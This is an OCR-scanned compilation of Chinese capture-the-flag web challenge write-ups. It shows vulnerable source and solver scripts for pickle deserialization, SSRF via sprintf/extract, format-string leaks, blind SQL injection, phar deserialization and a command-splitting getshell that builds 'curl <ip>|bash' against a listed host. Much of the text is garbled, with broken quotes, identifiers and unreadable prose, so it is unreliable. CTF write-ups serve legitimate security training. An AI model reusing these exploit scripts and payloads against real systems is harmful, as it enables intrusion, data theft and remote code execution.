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import base64

import io

import sys

import pickle

from flask import Flask, Response, render_template, request

import secret

app = Flask(__name_)

class Animal:

def __init__(self, name, category):

self.name = name

self.category = category

def __repr__(self):

return fAnimal(name={self.name!r}, category={self.category!r})’

def __eq__(self, other):

return type(other) is Animal and self.name == other.name and self.category == other.category

class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):

' main "

if module ==
return getattr(sys.modules[' __main__"], name)

raise pickle.UnpicklingError("global '%s.%s"' is forbidden" % (module, name))
def restricted_loads(s):

return RestrictedUnpickler(io.ByteslO(s)).load()

def read(filename, encoding="utf-8"):
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with open(filename, 'r', encoding=encoding) as fin:

return fin.read()

@app.route('/', methods=['GET', 'POST")

def index():

if request.args.get('source’):

return Response(read(__file ), mimetype="text/plain")

if request.method == 'POST":

try:

pickle data = request.form.get('data’)

if b'R" in base64.b64decode(pickle_data):

return 'No... | don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:

result = restricted_loads(base64.b64decode(pickle_data))

if type(result) is not Animal:

return 'Are you sure that is an animal???'

correct = (result == Animal(secret.name, secret.category))

return render_template(‘unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:

print(repr(e))

return "Something wrong"

sample_obj = Animal('—4; M giaogiao', 'Giao')

pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)

if _name__ =='main

app.run(host='0.0.0.0", port=5000)

1R B 2 —i&python R FE LKA, ARidif b'R' in base64.b64decode(pickle_data)i T B ¥ [ #shell #1# H
render_template B I ME, FrLLiH 2 R 4 secret.name. secret.categoryZ BIR{E, EKtypeAnimal,
Fitsecret X EEmain/gi3), FILLFEEEE— TFsecret?k. $%https:/blog.init-new-world.convpost/hitctf-
train.html (1 5l 2 J5 7))

-*- coding: utf-8 -*-

# @Author: Cycle



# @Date: 2020-03-07 14:51:06
# @Last Modified by: Cyc1e
import pickle

import base64

payload =
b"\x80\x03c___main__ \nsecret\n}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04 X\x08\x00\x00\x(

4 | I | 3

print(base64.b64encode(payload).decode())
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error_reporting(0);
if(isset($_GET['head)&&isset($_GET['url])X
$begin = "The number you want: ";
extract($_GET);

if(Shead == ")

die('Where is your head?");

}

if(preg_match('/[A-Za-z0-9]/i",$head) )X
die('Head can\'t be like this!");

}

if(preg_match('/log/i',$url) X

die('No No No');

}

if(preg_match('/gopher:|file:| phar:| php:| Zip:| dict:|imap:| ftp:/i',$url) X
die('Don\'t use strange protocol!");

}

$funcname = $head.'curl_init';

$ch = $funcname();

if(Sch){

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);



$output = curl_exec($ch);
curl_close($ch);

}

elsef

Soutput = 'rua’;

}

echo sprintf($begin.'%d',$output);
}

elsef

show_source(_ FILE );

}

KEEMAMKcurl T, Z%nhttps://www.php.net/manual/zh/function.sprintf i@ itextractit {7 B E %, 7 Ebegin
Hbegin=%1%s, Nsprintf($begin.'%d",$output); kst 7T LA, 51 dnta i

?head=\&begin=%1$s&url=www.baidu.com
AT PAIR Flbaiduff N 25, FrLABRAKRSSRFREEAT, KIM127.0.0.13E8FF 78080% H, FrbAtyid

?head=\&begin=%1%$s&url=http://127.0.0.1:8080
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#readfile.py

from .vip import vip
import re

import os

class File:

def __init__(self/file):



self file = file

def _str_ (self):

return self.file

def GetName(self):

return self file

class readfile():

def _str_ (self):

filename = self.GetFileName()

if .." in filename or 'proc' in filename:
return "quanbumuda"

else:

try:

file = open("/tmp/" + filename, 'r')
content = file.read()

file.close()

return content

except:

return "error"

def __init__ (self, data):

if re.match(r'file=.*?&vipcode=.*?"',data) != None:
data = data.split('&")

data ={

data[0].split('=")[0]: data[0].split('=")[1],
data[1].split('=")[0]: data[1].split('=")[1]
}

if 'file' in data.keys():

self-file = File(data['file")

if 'vipcode' in data.keys():
self.vipcode = data['vipcode']

self.vip = vip()

def test(self):



if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
return False

else:

return True

def isvip(self):

if self.vipcode == self.vip.GetCode():

return True

else:

return False

def GetFileName(self):

return self.file.GetName()

current_folder file =[]

class vipreadfile():

def __init__ (self,readfile):

self.filename = readfile.GetFileName()

self.path = os.path.dirname(os.path.abspath(self.filename))

self file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file

try:

current_folder_file = os.listdir(self.path)

except:

current_folder _file = current_folder file

def __str_ (self):

if 'fldg' in self.path:

return 'nonono,this folder is a secret!!!"

else:

output = "Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n"
filepath = (self.path + '/{vipfile}').format(vipfile=self file)

output += filepath

output +="\\n\r\nT he content is:\r\n'

try:



f = open(filepath,'r")

content = f.read()

f.close()

except:

content = 'can\'t read'

output += content

output += \\n\r\nOther files under the same folder:\r\n'
output +="",join(current_folder file)

return output

#vip.py

import random

import string

vipcode ="

class vip:

def __init_ (self):

global vipcode

if vipcode ==";

vipcode = ".join(random.sample(string.ascii_letters+string.digits, 48))
self.truevipcode = vipcode

else:

self.truevipcode = vipcode

def GetCode(self):

return self.truevipcode

BT 4gBad g T, BTl R eenkrgie, g

global current_folder_file

try:

current_folder_file = os.listdir(self.path)

except:

current_folder _file = current_folder file

B AT BLiB i current_folder filesk3kBrflag ek, #yik

{vipfile.__init__. globals__[current_folder_file][21]}/flag
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# encoding=utf-8

import requests

flag="

url = 'http://121.37.179.47:1001/search.php'

Cookie = {{PHPSESSID":'huiulsnkb5bpm59h6v3801qlv1;,
'username':'41fcba09f2bdcdf315ba4119dc7978dd'}

proxies = {

"http": "http://127.0.0.1:8080",

}

#erfenfa

for i in range(1,50):

high = 127

low = 32

mid = (low + high) // 2

while high > low:

#payload=r"1' or 1=(ascii(mid(CONCAT_WS(CHAR(32,58,32),user(),database(),version()),{},1))>{})--+" #65

#payload=r"1' or 1=(ascii(mid((selselectect group_concat(column_NAME) frfromom
information_schema.columnS where table_name='admin’),{},1))>{})#"

payload=r"1' or 1=(ascii(mid((selselectect pwd frfromom admin limit 1),{},1))>{})#"
#payload=r"1' or 1=(ascii(mid((database()).{},1))>{})#"
url_1=url+payload.format(i,mid)

data={"flag":payload.format(i,mid)}

r=requests.post(url,data=data,cookies=Cookie,proxies=proxies)



print(r.content)

if b"is flag" in r.content:

low=mid+1

else:

high=mid

mid=(low+high)//2

print(flag)

flag+=chr(mid)

B E B R A —¥Kflag: flag{Rogue-MySql-Server- , [EiiE52] T adminf 2 BI3%: whoamiadmin

W4 AT B flagf B % 5 HIiER, Mt hiEmysqlik$SERECH R T, #idRogue-MySql-Serverfiii 4
W B 3B — TFflag.php3C 4
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$sandbox = '/var/www/html/sandbox/ . md5("wdwd" . $ SERVER['REMOTE_ADDR);
@mkdir($sandbox);

@chdir($sandbox);

if (isset($_REQUEST['cmd1)) {
@eval($_REQUEST['cmd);
}

highlight_file(__FILE_);
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from flask import Flask, request, render_template, redirect, url_for, session, flash
from flask_bootstrap import Bootstrap

from form import RegisterForm, CmdForm
from toolkit import AESCipher

import o0s, requests, json, time, base64

app = Flask(_name_ )
app.config["'SECRET _KEY"] = os.urandom(32)
bootstrap = Bootstrap(app)

@app.route('/")

def index():

return render_template(‘index.html’, form=")
@app.route(/cmd', methods=['GET', 'POST")
def cmd():

form = CmdForm()

if request.method == 'GET":

return render_template('index.html', form=form)
elif request.method == 'POST":

if form.validate_on_submit():

username = form.username.data

master_key = form.master_key.data

cmd = form.cmd.data
print(username,master_key,cmd)

cryptor = AESCipher(master_key)
authenticator = cryptor.encrypt(json.dumps({'username".username, 'timestamp': int(time.time())}))

res = requests.post(‘http://121.37.164.32:5001/getTGT', data={'username". username, 'authenticator":
base64.b64encode(authenticator)})

if res.content == 'time error":
flash('time error')

return redirect(url_for('index’))



if res.content.startswith(‘auth’):
flash(‘auth error')
return redirect(url_for('index’))

session['session_key", session[TGT'] = cryptor.decrypt(base64.b64decode(res.content.split('|")[0])),
res.content.split('|")[1]

flash('GET TGT DONE')

#visit TGS

cryptor = AESCipher(session['session_key")

authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp": 1}))

res = requests.post(‘http://121.37.164.32:5001/getTicket', data={'username": username, 'cmd": cmd,
‘authenticator". base64.b64encode(authenticator), TGT": session[TGT"})

if res.content == 'time error":

flash('time error')

return redirect(url_for('index’))

if res.content.startswith(‘auth’):

flash(‘auth error')

return redirect(url_for('index’))

if res.content == 'cmd error":

flash(‘cmd not allow')

return redirect(url_for('index’))

flash('GET Ticket DONE')

client_message, server_message = res.content.split('|")
session_key = cryptor.decrypt(base64.b64decode(client_message))
cryptor = AESCipher(session_key)

authenticator = base64.b64encode(cryptor.encrypt(username))

res = requests.post(‘http://121.37.164.32:5002/cmd', data={'server_message". server_message, 'authenticator".
authenticator})

return render_template(‘index.html’, form=", flag=res.content)
return render_template(‘index.html’, form=form)

else:

return 'error' , 500

@app.route(/register’, methods=['GET','/POST")



def register():

form = RegisterForm()

if request.method == 'GET":

return render_template('index.html', form=form)
elif request.method == 'POST"

if form.validate_on_submit():

username = form.username.data

master_key = form.master_key.data

res = requests.post(‘http://121.37.164.32:5001/register', data={'username". username, 'master_key":
master_key})

if res.content == 'duplicate username':

return redirect(url_for('register"))

elif res.content 1=":

session['id] = int(res.content)

flash('register success')

return redirect(url_for('index’))

return render_template(‘index.html’, form=form)
else:

return 'error' , 500

main

if _name_ ==
app.run(host='0.0.0.0', debug=False, port = 5000)
At — MRS R E BT T
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error_reporting(0);
session_save_path('session’);

include 'lib.php';

ini_set('session.serialize_handler', 'php");



session_start();

class info

{

public $admin;

public $sign;

public function __ construct()

{

$this->admin = $_SESSION['admin’];
$this->sign = $ SESSION['sign’;
}

public function __destruct()

{

echo $this->sign;

if ($this->admin === 1) {

redirect('./core/index.php");

}

}

}

$a = new info();
?>
& — Tk
class info

{

public $admin;
public $sign;

public function __construct()

{

$this->admin = 1;
$this->sign = ";

}

public function __destruct()



{

echo $this->sign;

if ($this->admin === 1) {
redirect('./core/index.php');
}

}

}

$a = new info();
echo serialize($a);

?>

#rd: O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:""; M& 5 N| O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:""; } R i% J&
¥t | profilei#t A 2l /core/index.php

require_once("./init.php');

error_reporting(0);

if (check_session($_SESSION)) {

#hint : core/clear.php

$sandbox = "./sandbox/" . md5("Mrk@1xI"" . $§_SERVER['REMOTE_ADDRY);
echo $sandbox;

@mkdir($sandbox);

@chdir($sandbox);

if (isset($_POST['url)) {

$url =$ _POST['url];

if (filter_var($url, FILTER_VALIDATE_URL)){
if (preg_match('/(data:\V)| (&) (\))|(\.V)/i', $url)) {
echo "you are hacker";

}else {

$res = parse_url($url);

if (preg_match(/127\.0\.0\.1$/, $res['hostT)) {
$code = file_get_contents($url);

if (strlen($code) <= 4) {

@exec($code);



}else {

echo "try again";
}

}

}

}else {

echo "invalid url"
}

}else {

highlight_file(__FILE_ );

}

}else{
die(RAEHE R4 BE BIHHE),
}

HERRRRIFIHTHS, AT EHEB/S%E— Fpreg_match, #i&
url=compress.zlib://data:@127.0.0.1/plain;base64,xxxx
-*- coding: utf-8 -*-
# @Author: Cycle
# @Date: 2020-03-09 13:53:34
# @Last Modified by: Cycle
# @Last Modified time: 2020-03-09 14:18:18
#encoding=utf-8
import requests
from time import sleep
from urllib import quote
import base64
payload = [
# %% "g> ht- sI" 5 2304 "V
'>dir,
>sl',

|>g\>|,



">ht-',

oy

# RSV R R R AT, BB X, SRR T s -th >g"
'>rev',

"v>X,

# generate “curl orange.tw.tw|python®

# generate “curl 10.188.2.20|bash’

>p\’,

">ph\\,

>a.\\,

>\>\\,

SET\,

>01\\,

">E8\\,

>31\\,

>OX\' #IPH1 1k i 1632 il

>\,

>ri\,

">cu\\',# getshell

'sh X,

'sh g,

]

payload_all = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}
cookies={'PHPSESSID'": 'd1b8d083fa8c9bdb28317c30b103bbb6'}
r = requests.get('http://121.36.222.22:88/core/clear.php',cookies=cookies)
for i in payload:

assert len(i) <= 20

r = requests.post(‘http://121.36.222.22:88/core/index.php',cookies=cookies,data=
{"url":payload_all.format(base64.b64encode(i))})

print r.text

sleep(0.5)
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#testsql.php

error_reporting(0);

include "config.php";

$ip = $_POST[ip';

$user = $_POST[userT;

$password = $ POST['password?;

$option = $_POST['option’];

$m = new db(Sip,$user,$password,$option);

$m->testquery();

Bl P IR B B B3R )5 e db R BEAT R R, SO A% T YR AD
error_reporting(0);

include "config.php";

/Ivar_dump($_FILES["file"]);

$file = new File($_FILES["file"]);

$fileupload = new Fileupload($file);

$fileupload->deal();

echo "fF i # & A"

$ls = new Listfile('./uploads/.md5($_SERVER['REMOTE_ADDRY));

echo $ls->listdir()."

?7>

FA KA LA
#config.php
error_reporting(0);
class Db

{

public $ip;

public $user;



public $password;

public $option;

function __construct($ip,$user,$password,$option)
{

$this->user=%user;

$this->ip=3$ip;

$this->password=$password;
$this->option=Foption;

}

function testquery()

{

$m = new mysqli($this->ip,$this->user,$this->password);
if($m->connect_error){
die($m->connect_error);

}

$m->options($this->option, 1);
$result=$m->query('select 1;");
if($result->num_rows>0)

{

echo WX TE e, HiEFE MRS &4 TITERE,
}

elsef

echo X 76 &, B il FE R S5 28 RIT R,

}

}

}

class File

{

public $uploadfile;

function __construct($filename)

{



$this->uploadfile=$filename;
}

function xs()

{

echo EREH;

}

}

class Fileupload

{

public $file;

function __construct($file)
{

Sthis->file = $file;

}

function deal()

{

$extensionarr=array("gif","jpeg

"Jpg","png");

$extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);

$type = $this->file->uploadfile['type;

llecho "type: ".$type;

$filetypearr=array("image/jpeg","image/png","image/qgif");
if(in_array($extension,$extensionarr)&in_array($type, $filetypearr)&$this->file->uploadfile["size"|<204800)
{

if ($_FILES["file"]["error"] > 0) {

echo "#1i%: " .$this->file->uploadfile["error"] . "
die();
else{

if(lis_dir("./uploads/".md5($_SERVER['REMOTE_ADDRY)."/"){
mkdir("./uploads/".md5($_SERVER['REMOTE_ADDRY)."");
}



$upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDRY)."/":

move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file-

>uploadfile['name').".".$extension);

echo " A& h"."

}
}

elsef

echo "N SR VF I SO AL "

}

}

function __destruct()
{

$this->file->xs();

}

}

class Listfile

{

public $file;

function __construct($file)
{

$this->file=$%file;

}

function listdir(){

system("ls ".$this->file)."

}

function __call($name, $arguments)

{

system("ls ".$this->file); # 13X/ 77 B B M R FF 54K, B DA 32 Bl 2 1436 1) 1) /R
Y

}
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class Fileupload

{

public $file;

function __construct($file)

{

$this->file = $file;

}

function __destruct()

{

$this->file->xs();

}

}

class Listfile

{

public $file;

function __construct()

{

$this->file="/ ;/readflag";

}

function __call($name, $arguments)
{

system("ls ".$this->file);

}

}

@unlink("ccc.phar");

$phar = new Phar("ccc.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php _ HALT_COMPILER(); ?>");

$a=new Listfile();



$b=new Fileupload($a);

echo serialize($b);
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

% cce.pharjg #H4T_E4%

7Evps b 44 Rogue-MySql-Server il & J& 3 47

A —A A 5t 2 testsql H Floption i iiAt 4 ? optionFl T BMYSQLI_ OPT_LOCAL_INFILE, A#&EEZFE—TF

it Lhoption B N8HEAT T, FFtestsqlify il iRk %528 L irogue_mysql_serverfik 45 it & B ¥l & /readflag
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